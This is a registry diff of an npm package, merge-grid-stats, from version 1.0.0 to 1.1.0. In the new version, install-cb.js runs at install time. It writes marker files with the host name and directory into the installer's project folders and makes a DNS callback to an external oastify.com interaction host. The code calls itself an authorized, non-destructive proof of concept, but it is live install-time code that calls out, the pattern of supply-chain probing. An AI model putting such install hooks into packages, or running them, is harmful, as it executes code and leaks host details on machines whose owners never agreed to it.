merge-grid-stats 1.0.0 → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install-cb.js +20 -10
- package/package.json +1 -1
package/install-cb.js
CHANGED
|
@@ -1,11 +1,21 @@
|
|
|
1
|
-
// Authorized PoC (non-destructive):
|
|
2
|
-
|
|
1
|
+
// Authorized PoC (non-destructive): marker-file proof of code execution + bounded DNS OOB.
|
|
2
|
+
var fs = require('fs');
|
|
3
|
+
var path = require('path');
|
|
3
4
|
var os = require('os');
|
|
4
|
-
|
|
5
|
-
var
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
5
|
+
|
|
6
|
+
var cwd = process.cwd();
|
|
7
|
+
var lines = ['poc-marker', 'cwd=' + cwd, 'host=' + (function(){ try{return os.hostname();}catch(e){return '?';} })(), 'time=' + new Date().toISOString()];
|
|
8
|
+
var data = lines.join('\n');
|
|
9
|
+
|
|
10
|
+
// Write marker files into cwd and up to two levels up (lands in project root)
|
|
11
|
+
['', '..', '../..'].forEach(function (rel) {
|
|
12
|
+
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), data); } catch (e) {}
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
// Bounded DNS callback (5s cap) - tests DNS egress without hanging install
|
|
16
|
+
try {
|
|
17
|
+
var dns = require('dns');
|
|
18
|
+
var host = 'mgs-v11.owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com';
|
|
19
|
+
var timer = setTimeout(function () {}, 5000);
|
|
20
|
+
dns.lookup(host, function () { try { clearTimeout(timer); } catch (e) {} });
|
|
21
|
+
} catch (e) {}
|
package/package.json
CHANGED